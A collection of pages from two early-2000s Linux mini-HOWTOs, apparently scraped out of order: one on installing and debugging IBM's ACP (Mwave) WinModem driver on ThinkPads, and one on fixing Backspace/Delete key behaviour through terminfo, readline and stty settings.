CAYMAN_ISLANDS | 108
CHILE | 38
COLOMBIA | 57
COSTA_RICA | 506
CUBA | 53
CYPRUS | 357
CZECHREPUBLIC | 420
DENMARK | 45
ECUADOR | 593
EGYPT | 20
EL_SALVADOR | 503
FINLAND | 358
FRANCE | 33
GERMANY | 49
GREECE | 30
GRENADA | 111
GUATEMALA | 502
GUYANA | 592
HONDURAS | 504
HONG_KONG | 852
HUNGARY | 36
INDIA | 91
INDONESIA | 62
IRELAND | 353
ISRAEL | 972
ITALY | 39
JAMAICA | 112
JAPAN | 81
JORDAN | 962
KOREA | 850
KOREA_SOUTH | 82
KUWAIT | 965
LUXEMBOURG | 352
MALAYSIA | 60
MEXICO | 52
NETH_ANTILLES | 599
NETHERLANDS | 31
NEW_ZEALAND | 64
NICARAGUA | 505
NORWAY | 47
OMAN | 968
PAKISTAN | 92
PANAMA | 507
PARAGUAY | 595
PERU | 51
PHILIPPINES | 63
POLAND | 48
PORTUGAL | 351
PRC | 852
ROMANIA | 40
RUSSIA | 7
SAUDI_ARABIA | 966
SINGAPORE | 65
SLOVAKIA | 421
SLOVENIA | 386
SOUTH_AFRICA | 27
SPAIN | 34
ST_KITTS_NEVIS | 115
ST_LUCIA | 122
ST_VINCENT | 116
SURINAME | 597
SWEDEN | 46
SWITZERLAND | 41
TAIWAN | 866
THAILAND | 66
TRINIDAD_TOBAGO | 117
TURKEY | 90
TURKS_CAICOS | 118
U_K | 44
UKRAINE | 380
UNITED_ARAB_EMIRATES | 971
URUGUAY | 598
USA | 1
VENEZUELA | 58
VIETNAM | 84
VIRGIN_IS_BRITISH | 106
VIRGIN_IS_USA | 123
YEMAN | 967
YUGOSLAVIA | 381

Prev | Home | Next
Test Claims |  | Trademarks


Debugging Tips

Linux ACP Modem (Mwave) mini-HOWTO
Prev Next

4. Debugging Tips

4.1. Error Logs

Errors encountered by the ACP Modem device driver or application are logged using the syslog utility.

4.2. Tracing

The ACP device driver supports a debug argument to enable the generation of trace information. The command for this debug is listed below. You can also access several of the variables listed below in the mwaved script.

insmod mwave mwave_debug=0x0f

Where the following debug trace information is selectable:

0x01	ACP Modem Device driver entry points
0x02	Systems Management API(SMAPI)
0x04	Hardware Interface (3780I)
0x08	Thinkpad Interface (tp3780i)

Trace information is logged using the syslog utility.

The ACP application supports tracing through the use of flags configured in the [STARTUP] section of the mwavem.conf file.

Mwave Manager API trace points:

MANAGER_API_TRACE=1
MANAGER_API_DATA_TRACE=1
MANAGER_CORE_TRACE=1
MANAGER_SPECIFIC_TRACE=1

MEIO Manager trace points:

MEIO_API_TRACE=1
MEIO_CORE_TRACE=1
MEIO_SPECIFIC_TRACE=1

Mwave Modem application trace points:

MWMLW32_TRACE=1
MWMPW32_TRACE=1
MWMUTIL_TRACE=1
MWWTT32_TRACE=1

Trace information is logged using the syslog utility.

Prev | Home | Next
Resolving Installation and Configuration Problems |  | Test Claims


General Information and Hardware Requirements

Linux ACP Modem (Mwave) mini-HOWTO
Prev Next

1. General Information and Hardware Requirements

1.1. Introduction

The ACP Modem for Linux is a WinModem. It is composed of a loadable kernel module and a user level application. Together these components support direct connection to public switched telephone networks (PSTNs) and support selected countries world wide. Refer to Section 6 of this document for the supported country list.

The modem also supports the standard communications port interface (ttySx) and is compatible with the Hayes AT Command Set.

ACP Modem software is continually under development. If you encounter bugs or usability issues, please contact us and we'll work to correct them.

1.2. Credits

This Linux ACP Modem driver was ported from the Windows NT™ version of the driver available from IBM. Many thanks to Keith Frechette, Charles Ball, and Frank Novak for their technical and support efforts in making this project possible.

1.3. Where Can I Get the Latest Version of this Driver?

The latest version of this driver is available from http://www.ibm.com/linux/ltc/

1.4. Copyright Notice and Disclaimer

Copyright (c) 2000 IBM Corporation

This document may be reproduced or distributed in any form without prior permission. Modified versions of this document may be freely distributed, provided that they are clearly identified as such, and this copyright is included intact.

This document is provided "AS IS", with no express or implied warranties. Use the information in this document at your own risk.

1.5. Which Systems are Supported

This version of the ACP Modem driver supports the IBM Thinkpad™ 600E, 600, and 770 that include on-board ACP modem hardware.

1.6. Features of the Modem

The ACP Modem provides the following features:

  • Standard asynchronous COM port interface (NS16550A UART compatible) operation

  • Bell-103/212A, CCITT-V.21/V.22,V.22bis protocols with data from 300 to 2400 bps

  • CCITT-V.32 protocols with data rates of 4800, 9600 uncoded, and 9600 bps Trellis coded (Optional)

  • CCITT-V.32bis protocols with data rates of 4800, 9600, 12000, and 14400 bps (optional)

  • ITU-T V.34 protocols with data rates from 2400 to 33600 bps.

  • 56K capable modem

  • Hayes AT Command Set compatibility

  • DTMF and pulse dialing

  • Asynchronous error recovery protocol

  • Error correction via Microcom Network Protocol (MNP) classes 1-4

  • Error correction via the V.42 error correction standard

  • MNP class 5 for up to 2x data compression

  • V.42bis for up to 4x data compression

  • "Adaptive Rate Negotiation" which provides for "Fallback / Fallforward" as line quality deteriorates or improves

Your modem contains 56K technology. To take advantage of this technology, you must first make sure that your Internet Service Provider (ISP) supports a 56K modem protocol. Significantly higher modem connection speeds, up to 56kbps, require all-digital transmission connections from your ISP to the line card in the central office from which your phone line is connected. The actual connection rate may be limited by the quality of your telephone lines. Telephone line quality may vary from location to location. Current regulations limit maximum trasfer rates to 53K. While your modem contains 56K technology, typical maximum connection rates in the receive direction may be significantly less than 56K. Currently, 56K capability is for the receive direction only. The transmit direction uses V.34 technology.

Prev | Home | Next
Linux ACP Modem (Mwave) mini-HOWTO |  | Compilation, Installation, and Startup


Linux ACP Modem (Mwave) mini-HOWTO

Mike Sullivan

sullivam@us.ibm.com

Paul Schroeder

paulsch@us.ibm.com

Joy Yokley - Edited document and coverted to DocBook v4.1 (SGML).

2001-01-12

Revision History
Revision .10 | 2001-07-18 | Revised by: PBS
Revision .09 | 2001-05-21 | Revised by: PBS
Revision .08 | 2001-05-09 | Revised by: JEY
Revision .07 | 2001-04-30 | Revised by: JEY

This document describes how to build, setup, and use the ACP (Mwave) Modem feature of the IBM Thinkpad™ 600, 600E, and 770x. The latest version of this document can always be found at http://www.ibm.com/linux/ltc/

Table of Contents
1. General Information and Hardware Requirements
1.1. Introduction
1.2. Credits
1.3. Where Can I Get the Latest Version of this Driver?
1.4. Copyright Notice and Disclaimer
1.5. Which Systems are Supported
1.6. Features of the Modem
2. Compilation, Installation, and Startup
2.1. Prerequisites
2.2. Building and Installing Source
2.3. Setting Things Up
2.4. Runtime
2.4.1. Loading the ACP device driver
2.4.2. Running ACP Modem Application
3. Resolving Installation and Configuration Problems
3.1. DSP Does Not Start
3.2. Resource Conflicts
3.3. Not Connecting at Specified Starting Speed
3.4. Dialer Application Cannot Detect Serial Port
3.5. PPP Errors Using 2.4.0 Version of the Kernel
4. Debugging Tips
4.1. Error Logs
4.2. Tracing
5. Test Claims
6. List of Supported Countries
7. Trademarks
Next
General Information and Hardware Requirements


Resolving Installation and Configuration Problems

Linux ACP Modem (Mwave) mini-HOWTO
Prev Next

3. Resolving Installation and Configuration Problems

The following sections list solutions to possible problems you may experience.

3.1. DSP Does Not Start

In order to recognize memory above 64 Meg, it may be necessary to append the "mem=" option to the kernel command line. If you are using LILO for your boot loader, you would do this in the lilo.conf file. For example, if you had a machine with 128 Meg you would type:

append="mem=130496K"

Note | NOTE
 | Your statement must reflect 576K less than you actually have. Specifying the full amount of memory will prevent the DSP from starting. In the above example, the formula used to arrive at the proper number was 1024 * nMB - 576 = nK.

If you forget to run the Thinkpad™ utility to enable the ACP Modem and you didn't specify any command line arguments when inserting the mwave module (or it didn't work), you will receive a message in the syslog, similar to the one below:

ACP Modem, UART settings IRQ 0x3	IO 0x2f8
tp3780::EnableDSP, pSettings->bDSPEnabled 0 failed
Mwave Modem, ERROR cannot Enable DSP error fffffffb
Mwave Modem, ERROR cannot perform Mwave Initialization retval fffffffb

If you receive a message like the one above, check the command line arguments you provided to insmod.

3.2. Resource Conflicts

The ACP Modem requires the use of system resources for both the DSP and the UART provided by the ACP chip. For Linux systems, you will specify parameters to use for the duration of the boot with the insmod mwave command line parameters listed in Section 2.4.1.

Typically the configured resources are:

For the DSP:  IRQ 10, I/O address 0x130-0x13f
For the UART: IRQ 2,  I/O address 0x2f8 (if using ttyS1)
                  IRQ 3,  I/O address 0x3f8 (if using ttyS0)

For dual boot systems we recommeded that you use the Thinkpad™ Configuration Utility on Windows NT or DOS to configure these system resources.

Windows NT Thinkpad Configuration Utility Notes: (Under the Internal Modem --> Advanced selection)

  1. Set IRQ sharing to disabled

  2. Set 1st IRQ to your DSP IRQ (10 is recommened)

  3. Set 2nd IRQ to your UART IRQ (i.e. ttyS1 is equivalent to COM2)

  4. Set the DSP I/O address (130 is recommended)

  5. Set the internal modem I/O address to the UART I/O address (i.e. 0x2f8 for COM2)

  6. The DMA address is unused and can be set to anything.

Note | NOTE
 | You may also specify parameters to use for the duration of the boot by using the insmod mwave line parameters listed in section Section 2.4.1.

3.3. Not Connecting at Specified Starting Speed

The configured initial connection speed is set to 64000. The modem should start there and negotiate down to a connection speed based on target modem and line capabilities. If the modem is unable to connect it may be having difficulty negotiating with the target modem. Try setting the SPEED parameter in mwavem.conf to a lower initial starting speed. Supported speeds include:

  • 64000

  • 33600

  • 14400

  • 9600

  • 2400

3.4. Dialer Application Cannot Detect Serial Port

The startup script that executes the serial port setup works well with Red Hat, Debian, Slackware, and SuSE. If you are not running one of these distributions, you may need to perform the following steps in order to set up.

After inserting the mwave.o module and starting the mwavem application, you must run the setserial command in order for the serial port configuration to discover the UART on the mwave hardware:

setserial /dev/ttySx autoconfig

Replace ttySx with the serial port you have configured the ACP driver to use.

To test whether the serial port is setup correctly, run:

setserial /dev/ttySx

The above command should return the following for serial port 1:

/dev/ttyS1, UART: 16550A, Port: 0x2f8, IRQ: 3

The port and IRQ numbers should match the information placed in the syslog by the ACP module when it was loaded:

kernel: Mwave Modem, UART settings IRQ 0x3 IO 0x2f8

If the information returned by setserial indicates that the UART is 'unknown' or if the IRQ and I/O resources do not match what you have in the syslog, you will need to reconfigure. Check the setserial man pages to learn how to setup the resources on your ttySx to match what appears in the syslog output.

If you have problems running setserial, you may have a resource conflict. Before using insmod mwave, check /proc/ioports and /proc/interrupts to make sure the resources you intend to claim are not already in use.

3.5. PPP Errors Using 2.4.0 Version of the Kernel

When upgrading to the 2.4.0 version of the kernel be sure to read the ./Documentation/Changes file. Kernel 2.4.0 requires an upgraded version of the pppd, gcc, and modutils (amoung other things). Follow the instructions for setting up the new pppd daemon carefully.

You may experience some initial problems getting ppp running with 2.4.0. One of the most prevelant errors we received was, "Can't locate module tty-ldisc-3." However, we had no problems once we rebuilt the kernel with the following options:

CONFIG_PPP=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOM=m
Prev | Home | Next
Compilation, Installation, and Startup |  | Debugging Tips


Compilation, Installation, and Startup

Linux ACP Modem (Mwave) mini-HOWTO
Prev Next

2. Compilation, Installation, and Startup

2.1. Prerequisites

  • A 2.2.16 series (or later) Linux kernel source tree

  • An appropriate set of module utilities

  • gcc version 2.7.x or later

If you are building the ACP Modem driver and application, you need to have a complete Linux source tree for your kernel, not just an up-to-date kernel image.

2.2. Building and Installing Source

  1. Use tar xzvf mwavem-yyyymmdd.tar.gz to unpack the distribution.

  2. Change directories with cd mwavem-yyyymmdd

  3. Use the ./configure command to configure the build options. Issue ./configure --help to view all of the options. The defaults are probably okay though.

  4. Use the make command to build all of the ACP Modem binaries.

    Note NOTE

    Your gcc package should be at least at the 2.7.x level. Check your /usr/src/linux/Documentation/Changes file for the minimum version information.

  5. Use make install to install the mwavem binary, mwavem.conf configuration, DSPs, and module device driver files and to create the /dev/modems/mwave device node.

2.3. Setting Things Up

In the [WORLDTRADE] section of your mwavem.conf file, set the Country= parameter to your country access code.

Note | NOTE
 | The mwavem.conf file is installed in the /usr/local/etc directory unless you specified otherwise during the build process

Country information (including access codes) are listed in the mwavem.conf file. For example, for France the following section is present:

[Telephony\Country List\33]
CountryCode=00000021
Name=France
SameAreaRule=0FG
LongDistanceRule=0FG
InternationsalRule=00EFG

To set France to be your configured country in the [WORLDTRADE] section of mwavem.conf,
set Country=33

2.4. Runtime

An initialization script has been provided which may be used to to start, stop, or check the status of the ACP Modem driver and application. It has been successfully run on the Debian, Slackware, SuSE, and Red Hat distributions and should run on any of their derivitives. If you are using the runtime script, it will load the mwave device driver module, configure the serial port, and start the mwave manager for you. All of the options which can be passed to the device driver module, along with some options for the script itself, can be configured by uncommenting and editing the appropriate variables at the beginning of the script.

The mwaved startup script can be found in the src/mwavem directory of the source distribution. If you are running the Red Hat distribution, you can copy the script to your /etc/rc.d/init.d directory and issue the ntsysv command in order to enable it at boot time. If not using Red Hat, see the documentation for your distribution for information on how to set this up to run at boot time.

It is recommended that you use the provided mwaved script. If you are not using the script, however, the following sections will describe how to manually start the device driver and application.

2.4.1. Loading the ACP device driver

To load the mwave device driver use
insmod mwave
or
modprobe mwave

The following arguments may be supplied with the insmod command:

Note | NOTE
 | The following arguments are not persistent from boot to boot (i.e. We are not saving them in the BIOS).

  • tp3780i_dsp_irq=5/7/10/11/15

    This parameter allows you to configure the IRQ used by the DSP if the DSP IRQ was not set and stored in BIOS by the Thinkpad™ configuration utility.

  • tp3780i_dsp_io=0x130/0x350/0x0070/0xDB0

    This parameter allows you to configure the I/O range used by the DSP if the DSP I/O range was not set and stored in the BIOS by the Thinkpad™ configuration utility.

  • tp3780i_uart_irq=3/4

    This parameter allows you to configure the IRQ used by the ACP UART if the Mwave's UART IRQ was not set and stored in BIOS by the Thinkpad™ configuration utility.

  • tp3780i_uart_io=0x3f8/0x2f8/0x3E8/0x2E8

    This parameter allows you to configure the I/O range used by the ACP UART if the UART I/O range was not set and stored in BIOS by the Thinkpad™ configuration utility.

The following code is an example of how to run DSP using ttyS1 resources:

insmod mwave tp3780i_dsp_irq=10 tp3780i_dsp_io=0x0130 tp3780i_uart_irq=3 tp3780i_uart_io=0x2f8

Note | NOTE
 | The mwave is unable to check for resource conflicts. It is the your responsibility to ensure that none of the resources specified conflict with other devices.

You can use the tpctl package on Linux or the Thinkpad™ configuration utility on Windows NT or DOS to manage the configuration of Thinkpad™ related resources.

2.4.2. Running ACP Modem Application

  1. Once the ACP device driver is loaded successfully, use the mwavem command to execute the application.

    Note NOTE

    The location of the mwavem.conf file can be specified as an argument to the mwavem application. If not specified the default location is assumed to be /usr/local/etc/mwavem.conf unless otherwise changed during the build process.

  2. Setup the serial driver to recognize the UART provided by the ACP driver.

    setserial /dev/ttyS0 autoconfig

    Note NOTE

    Substitute /dev/ttyS0 to match the serial port you have configured the DSP to use.

    Note NOTE

    You may wish to create a symbolic link from your modem device to your serial device for convenience. Example: ln -s /dev/ttyS0 /dev/modem

The ACP Modem is now available for use by your favorite dialing application.

Prev | Home | Next
General Information and Hardware Requirements |  | Resolving Installation and Configuration Problems


Test Claims

Linux ACP Modem (Mwave) mini-HOWTO
Prev Next

5. Test Claims

This driver has been tested using the ThinkPad™ 600E. The same chipset is integrated on the 600 and 770 models and should work.

Prev | Home | Next
Debugging Tips |  | List of Supported Countries


Trademarks

Linux ACP Modem (Mwave) mini-HOWTO
Prev

7. Trademarks

Hayes is a trademark of Hayes Microcomputer Products, Inc.

MNP (Microcom Network Protocol) is a trademark of Microcom, Inc.

IBM is a trademark of International Business Machines, Inc.

Prev | Home
List of Supported Countries |


How Keys Are Turned Into Actions

Linux Backspace/Delete mini-HOWTO
Prev Next

2. How Keys Are Turned Into Actions

When a key is pressed on the keyboard, a number of hardware and software components cooperate so as to guarantee that the intended meaning of the key (e.g., emitting a certain character) matches the actual behaviour of the key. I will concentrate on the software side (as our control on the hardware part is nonexistent), and in particular, for the time being, on the events related to console output.

  1. Hitting a key causes raw keyboard scancodes to be generated; these scancodes are then transformed in a keycode. On an i386 system, usually the key Backspace emits 14 and the key Delete emits 111.

  2. The keycodes are translated by the keyboard library into a keyboard symbol (keysym) using the keyboard definition loaded by the user. If you look into your keyboard database (e.g., in /lib/kbd/), you'll discover several definitions for different computers, different layouts and possibly different interpretations of the same keys (e.g., one could desire that the two Alt keys really behave as distinct modifiers). The Linux console keyboard layout assigns keysym Delete to keycode 14 and keysym Remove to keycode 111. This may seem strange, but the Linux console emulates a VT100 terminal, and this is the way things work in that realm.[1]

  3. Our journey has still to come to an end. Console applications read ASCII sequences, not keysyms. So the console must read keysyms and translate them into ASCII sequences that suitably encode the keys. Of course, this operation must be performed in a way that is understandable by applications. For instance, on the Linux console the Delete keysym is mapped to the ASCII code 127 (DEL), the Remove keysym on a suitable escape sequence, and the BackSpace keysym to ASCII code 8 (BS).

  4. Finally, we must in a sense roll back to what we had before and translate the ASCII sequences generated by each key into a key capability. This goal is reached by a terminal database, which contains, for each kind of terminal, a reverse mapping from sequences of characters to key capabilities (which are essentially a subset of the keysyms).[2]

    Note

    Unfortunately, there are two "standard" terminal databases, termcap and terminfo. Depending on your distribution, you could be using either one of them, or the database could even depend on the application. Our discussion will concentrate on the more modern terminfo database, but the suggested fixes take both into consideration.

    For instance, on the Linux console F1 generates an escape followed by [[A, which can be translated to the capability key_f1 by looking into the terminal-database entry of the console (try infocmp linux if you want to have a look at the entry). A very good and thorough discussion of terminal databases can be found in GNU's termcap manual. Usually Linux applications use the newer terminfo database, contained in the ncurses package.

    Maybe at this point not surprisingly, the Linux console terminfo entry maps DEL to the kbs (backspace key) capability, and escape followed by [3~ to the kdch1 ("delete-one-char" key) capability. Even if you could find strange that the Backspace key emits a DEL, the terminal database puts everything back into its right place, and correctly behaving applications will interpret DEL as the capability kbs, thus deleting the character to the left of the cursor.

Notes

[1] | This claim has been asserted/disputed several times commenting this document. If you have any definitive information on this subject, please write me.
[2] | Some programs rely on the terminal driver for input line editing, such as deleting characters or words. With stty, you can tell the terminal driver what character it should use to delete the character to the left of the cursor (the erase character). You can check your current settings with stty -a and set them with stty erase character.
Prev | Home | Next
Introduction |  | Why It Doesn't (Always) Work


Conclusions

Linux Backspace/Delete mini-HOWTO
Prev

9. Conclusions

The fixes suggested here should solve to a large extent the problem of deleting text you wrote (however, they do not help in creating other text :)).

There is a small bug in the whole setting: if you're using the COLORTERM trick and you start xterm from gnome-terminal, the former will get TERM set to gnome. This inconvenience is, of course, mostly harmless, and does not occur if you simply started gnome-terminal with TERM suitably set.

Another nontrivial problem that essentially has no solution is the one concerning remote connections: if you connect to a host whose terminal database is incoherent with yours, you will have to set up things manually.

Finally, it should be noted that the fixes will not work for broken applications (for instance, applications ignoring the kbs key capability). There is little to do in this case, as fixing for one broken application will likely break all well-behaving ones.

Prev | Home
More Hacking |


Linux Backspace/Delete mini-HOWTO

Sebastiano Vigna

vigna@acm.org

Revision History
Revision v1.6 | 19 Jan 2002
Included many comments from Alex Boldt and Chung-Rui Kao.
Revision v1.5 | 3 May 2000
Updated for new distros and the tput trick.
Revision v1.4 | 7 December 2000
Updated for Red Hat 7.0 and Helix Gnome conflicts.
Revision v1.3 | 18 October 2000
Name change.
Revision v1.2 | 15 October 2000
Updated. Added "What If Nothing Works" section.
Revision v1.1 | 13 September 2000
Added tcsh fixes
Revision v1.0 | 5 September 2000
First release
Table of Contents
1. Introduction
2. How Keys Are Turned Into Actions
3. Why It Doesn't (Always) Work
4. X
5. What You Should Do When Writing Applications
6. What You Should Do On Your System
6.1. What Needs to Be Done
6.2. How to Do It
6.3. Fixing for tcsh
7. What If Nothing Works
8. More Hacking
9. Conclusions
Next
Introduction


Introduction

Linux Backspace/Delete mini-HOWTO
Prev Next

1. Introduction

Every Linux user has been sooner or later trapped in a situation in which having working Backspace and Delete keys on the console and on X seemed impossible. This paper explains why this happens and suggests solutions. The notions given here are essentially distribution-independent: due to the widely different content of system configuration files in each distribution, I will try to give the reader enough knowledge to think up his/her own fixes, if necessary.

I assume that the Backspace key should go back one character and then erase the character under the cursor. On the other hand, the Delete key should delete the character under the cursor, without moving it. If you think that the function of the two keys should be exchanged, in spite of the fact that most keyboards feature an arrow pointing to the left (←) on the Backspace key, then this paper will not give you immediate solutions, but certainly you may find the explanations given here useful.

Another assumption is that the fixes should alter only local (user) files. No standard part of the distribution should be altered. Finally, this document discusses how to set up your system so that applications get the right events. If an application decides to interpret such events in an idiosyncratic way, the only possible fix is to reconfigure the application.

Note

Since the first release of this Mini-HOWTO things have become even more entangled. Different distributions of the same terminal emulator (e.g., gnome-terminal as provided by Red Hat 7.0, Helix Code/Ximian or even Red Hat≥7.1) generate different ASCII sequences. Due to this mismatch, now the terminal databases correspond even less to the terminal emulators they are supposed to describe. To set a firm ground for the following discussion, we assume basically as correct settings the ones proposed in the Debian keyboard policy.

Prev | Home | Next
Linux Backspace/Delete mini-HOWTO |  | How Keys Are Turned Into Actions


More Hacking

Linux Backspace/Delete mini-HOWTO
Prev Next

8. More Hacking

So, you're not happy with the information you got. In this case, there is even more hacking you can do on the Backspace/Delete issue, using suitable commands that get or set the way X and the console handle keys.

It could happen that, for some reason, what I said talking about X is not true, that is, X does not translate keycode 22 to keysym BackSpace and keycode 107 to keysym Delete (or even that, on your particular keyboard, the keycodes associated to Backspace/Delete are not 22 and 107). To be sure of that, you need to use xev, a simple X application that will display the keycode and keysym associated to the key you press. If anything goes wrong, there are several ways you can fix the problem: the easy, temporary way is to use xmodmap, a command that lets you change many settings related to X keyboard handling. For instance,
xmodmap -e "keycode 22 = BackSpace"
xmodmap -e "keycode 107 = Delete"
will set correctly the keysyms (assuming that 22 and 107 are the correct keycodes for you). In case you want to do some changes permanently, you can play with the resources vt100.backArrowKey, vt100.translations and ttyModes of xterm (and similar terminal applications) in the configuration file ~/.Xdefaults. One possibility, for instance, is
XTerm.VT100.Translations: \
        <Key>BackSpace: string(0x7F)\n\
        <Key>Delete:    string("\033[3~")
You should take a look at the xterm man page for more information.

The program that does for the console what xev does for X is showkeys: it will dump the console keycodes of the keys you press. Combining showkeys with dumpkeys, which will print on standard output the console keymap, you can easily fix mismatches between keycodes and keysyms. Analogously to xmodmap, loadkeys can then fix single associations, or load entirely new console keymaps. With it, you can even change the string associated to a given keysym. If you want to record these changes, you will have to define a new keymap for the console (you should have a look at the system keymaps, usually located in /lib/kbd).

Prev | Home | Next
What If Nothing Works |  | Conclusions


What If Nothing Works

Linux Backspace/Delete mini-HOWTO
Prev Next

7. What If Nothing Works

The first thing to do is understanding which ASCII codes are produced by a certain key using the C one-liner.

Once you know which sequences are produced, you must check the current terminfo entry with infocmp (don't be scared by the amount of information printed!) and be sure that the kbs and kdch1 capabilities correspond to the right sequences (that is, the one produced by the respective keys). Moreover, you must check with stty -a that the erase character is the one emitted by the Backspace key (note that ^H represent BS whereas ^? represents DEL).

If there is a mismatch, there can be several different reason: wrong content of the TERM variable, wrong entry of the terminal database, wrong terminal emulation under X. I hope at this point you have enough information to dig the solution autonomously.

Note

If different applications behave in different ways, it is likely that some of them are using the terminal database correctly, and some are not. Remember that the fact that the keys produce the right behaviour in a certain application does not mean that the application is using correctly the terminal database—they could work just by chance. If you want to have an independent check, you can try whether the ne editor works. ne uses all terminal capabilities, including kbs and kdch1, and uses intended meaning only as a last resource.

Prev | Home | Next
What You Should Do On Your System |  | More Hacking


What You Should Do On Your System

Linux Backspace/Delete mini-HOWTO
Prev Next

6. What You Should Do On Your System

Note again that the main issue that confuses people trying to fix their system is that usually they are fixing thing in the wrong place. Since the parts that work often just work by chance, trying to fix the system assuming something is broken will often lead to change correct settings into incorrect settings.

6.1. What Needs to Be Done

6.1.1. Detecting Deviance

The first step towards a clean solution is to know exactly which terminals are deviant and which not. Usually they all behave like the console, and in this case the modifications to get everything working are minimal. If, however, you have some deviant terminal (e.g., a deviant version of gnome-terminal), you will have to treat it in a special way.

The following C one-liner

void main(void) {int c; while(c = getchar()) printf("%d 0x%02X\n", c, c);}
may help you. Put the line into a file named ascii.c, compile it with gcc ascii.c -o ascii, type ./ascii and press a key followed by RETURN. The program will display the decimal and hexadecimal codes of the ASCII sequence produced (you may want to do a stty erase ^- first to get really all the codes). Now you can easily see what Backspace key does: if it emits a DEL (127), you have a standard emulator, if it emits a BS (8) you have a deviant one.

6.1.2. Distinguishing Between Emulators

If you have some deviant terminal emulator, you must distinguish it from the standard ones. Theoretically, this should not be a problem because there are different entries in the terminal database for terminals with different sequences (the entry used depends on the value of the TERM variable).

Here we take the approach that the gnome entry should be used for all deviant VT100 emulators, and the xterm entry for the standard ones. This is in line with several distributions (except a few cases like RedHat ≤5.0, where the xterm entry is deviant).

However, gnome-terminal uses by default the same entry as xterm, so if one is deviant and the other one is not you will need to find a way to tell them apart. The option termname of gnome-terminal allows the user to set the TERM variable to a more sensible name. However, in older versions of gnome-terminal the option does not work. Moreover, sometimes it is not easy to modify the way gnome-terminal is started.

A good idea here is to exploit the fact that gnome-terminal sets the COLORTERM variable to gnome-terminal. Thus, by adding a simple test to the shell configuration files we can fix the TERM variable.

6.1.3. Fixing the Terminal Database

Our problem now is that the terminal database could lack a gnome entry for deviant terminals (this happens on a number of termcap and terminfo versions). Recent terminfo databases have an entry gnome, but, in any case, since gnome-terminal behaves essentially like xterm modulo our famous two keys, it is possible to automagically generate a brand new correct entry.

6.1.4. Fixing the Shell Behaviour

The readline library used by the bash and by many other programs to read the input line can be customized so to recognize specific sequences of characters. The customization can also depend on the TERM variable, so once we can distinguish terminals we can do fine tuning of the keyboard.

Moreover, if you want less and other application that do raw line input to work correctly, you must convince the shell that under a deviant terminal emulator the erase character is BS, and not DEL (in the other case the Backspace key is already emitting DEL, so we do not have to do anything). This can be done using the command stty.

6.2. How to Do It

Caution

These fixes have some drawbacks. First, they work only for the specified terminals. Second, in theory (but this is unlikely to happen) they could confuse the readline library on other terminals. Both limitations are however mostly harmless.

First of all, check with infocmp gnome whether you already have a gnome entry in your terminfo database (we will fix termcap later). If the entry does not exist, the following command

bash$ tic <(infocmp xterm |\
        sed 's/xterm|/gnome|/' |\
        sed 's/kbs=\\177,/kbs=^H,/' |\
        sed 's/kdch1=\\E\[3~,/kdch1=\\177,/')
will create a correct one in ~/.terminfo. If the same command is launched by the root, it will generate the entry in the global database (you can override this behaviour by setting TERMINFO to ~/.terminfo). Note that if your xterm entry is already deviant (e.g., you have a Red Hat ≤5.0) the script will copy it unchanged, which is exactly what we want.

Now, add the following snippet to ~/.inputrc [1]:

"\e[3~": delete-char
This line teaches the readline library how to manage your standard Delete key for standard emulators, and with a bit of luck it should not interfere with other terminals. However, now we must also explain to the library the meaning of the DEL character on deviant terminals, for instance by adding

$if term=gnome
DEL: delete-char
Meta-DEL: kill-word
"\M-\C-?": kill-word
$endif
to ~/.inputrc. If xterm is deviant, too, you must add other three lines for it. On the other hand, if no terminal emulator is deviant this part is not needed. All these changes can be made global by altering the /etc/inputrc file.

Note that the conditional assignments make deviant terminal emulators work given that the TERM variable is set correctly. To guarantee this, there are a number of techniques. First of all, since the default value of the TERM variable for gnome-terminal is xterm, if all terminals are not deviant then we do nothing. If, however, a terminal that by default uses the xterm entry is deviant you must find a way to set the TERM variable correctly; assume for instance this is true of gnome-terminal.

The simplest way to obtain this effect is to start gnome-terminal with the argument --termname=gnome, for instance by suitably setting the command line in the launcher on the GNOME panel. If however you have an old version, and this method does not work, you can add the lines

if [ "$COLORTERM" = "gnome-terminal" ]
then
    export TERM=gnome
fi
to your ~/.bashrc configuration file[2]. The assignment is executed only under gnome-terminal, and sets correctly the TERM variable.

Note

Setting the terminal to gnome could prevent ls from using colours, as many versions of ls do not know that gnome-terminal is colour capable. To avoid this problem, create a configuration file ~/.dircolors with dircolors --print-database >~/.dircolors, and add a line TERM=gnome to the configuration file.

We will now generate on-the-fly a suitable termcap entry for deviant terminal emulators; this can be done as follows, always in ~/.bashrc:

if [ "$TERM" = "gnome" ]
then
    export TERMCAP=$(infocmp -C gnome | grep -v '^#' | \
                    tr '\n\t' '  ' | sed 's/\\  //g' | sed s/::/:/g)
fi

Finally, we must explain to the terminal device which character is generated by the erase key. Since usually the erase key is expected to backspace, there is a nice trick taken from the Red Hat /etc/bashrc that works: add this to ~/.bashrc:

KBS=$(tput kbs)
if [ ${#KBS} -eq 1 ]; then stty erase $KBS; fi
It's a simple idea: we read from the terminal database the capability kbs, and set the erase character to its value if it is a single character (which happens in both standard and deviant terminals).

Note

Certain distributions could have fixes already in place in the system-wide /etc/inputrc configuration file. In this case you can eliminate redundant lines from your ~/.inputrc.

6.3. Fixing for tcsh

In the case of the tcsh, the fixes go all in ~/.tcshrc, and follow the same rationale as the ones for the bash:

bindkey "^[[3~" delete-char

if ($?COLORTERM) then
   if ($COLORTERM == "gnome-terminal") then
      setenv TERM gnome
   endif
endif

if ($?TERM) then
   if ($TERM == "gnome") then
      setenv TERMCAP \
       "`infocmp -C gnome | grep -v '^#' | tr '\n\t' '  ' | sed 's/\\  //g' | sed s/::/:/g`"
      bindkey "^?" delete-char
      bindkey "^[^?" delete-word
      bindkey "\377" delete-word
   endif
endif

set KBS=`tput kbs`
if (${%KBS} == 1) then
   stty erase $KBS
endif
The second part must be replicated for every deviant terminal. Of course, if a termcap entry already exists it is not necessary to generate it.

Notes

[1]

On older version of the bash, you must remember to set INPUTRC suitably, for instance adding

export INPUTRC=~/.inputrc
to your ~/.profile (or whichever file is read just by login shells).

[2]

More precisely, to the shell configuration file that is read in every shell, not only in login shells. The right file depend on startup sequence of your bash.

Prev | Home | Next
What You Should Do When Writing Applications |  | What If Nothing Works


Why It Doesn't (Always) Work

Linux Backspace/Delete mini-HOWTO
Prev Next

3. Why It Doesn't (Always) Work

